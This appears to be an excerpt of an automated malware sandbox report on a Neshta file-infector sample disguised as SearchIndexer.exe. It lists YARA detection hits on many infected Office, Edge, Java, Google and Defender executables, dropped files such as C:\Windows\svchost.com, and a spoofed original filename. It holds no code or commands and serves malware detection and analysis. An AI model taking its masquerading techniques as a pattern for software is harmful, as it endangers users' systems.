                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Users\user\Desktop\SearchIndexer.exeFile created: C:\Windows\svchost.comJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exeJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeFile created: C:\Windows\Provisioning\Packages\9a52da74613a33Jump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: c:\Windows\System32\CSC8B0546412F3A4425A5D7AA169F4D63A4.TMPJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: c:\Windows\System32\SecurityHealthSystray.exeJump to behavior
                              Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile deleted: C:\Windows\System32\CSC8B0546412F3A4425A5D7AA169F4D63A4.TMPJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9B890D771_2_00007FFD9B890D77
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9B8C13851_2_00007FFD9B8C1385
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9B8CCFF01_2_00007FFD9B8CCFF0
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 1_2_00007FFD9BC5115F1_2_00007FFD9BC5115F
                              Source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exeCode function: 51_2_00007FFD9B8A0D7751_2_00007FFD9B8A0D77
                              Source: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exeCode function: 53_2_00007FFD9B890D7753_2_00007FFD9B890D77
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeCode function: 56_2_00007FFD9B870D7756_2_00007FFD9B870D77
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeCode function: 59_2_00007FFD9B890D7759_2_00007FFD9B890D77
                              Source: SearchIndexer.exeBinary or memory string: OriginalFilename vs SearchIndexer.exe
                              Source: SearchIndexer.exe, 00000038.00000002.2366729354.000000000363B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs SearchIndexer.exe
                              Source: SearchIndexer.exe, 00000040.00000002.2799234596.0000000002BEA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs SearchIndexer.exe
                              Source: SearchIndexer.exe, 00000040.00000002.2799234596.0000000002B72000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs SearchIndexer.exe
                              Source: SearchIndexer.exeBinary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs SearchIndexer.exe
                              Source: SearchIndexer.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                              Source: SearchIndexer.exe, type: SAMPLEMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: 0.0.SearchIndexer.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Windows\svchost.com, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Windows\svchost.com, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Windows\svchost.com, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
                              Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPEDMatched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
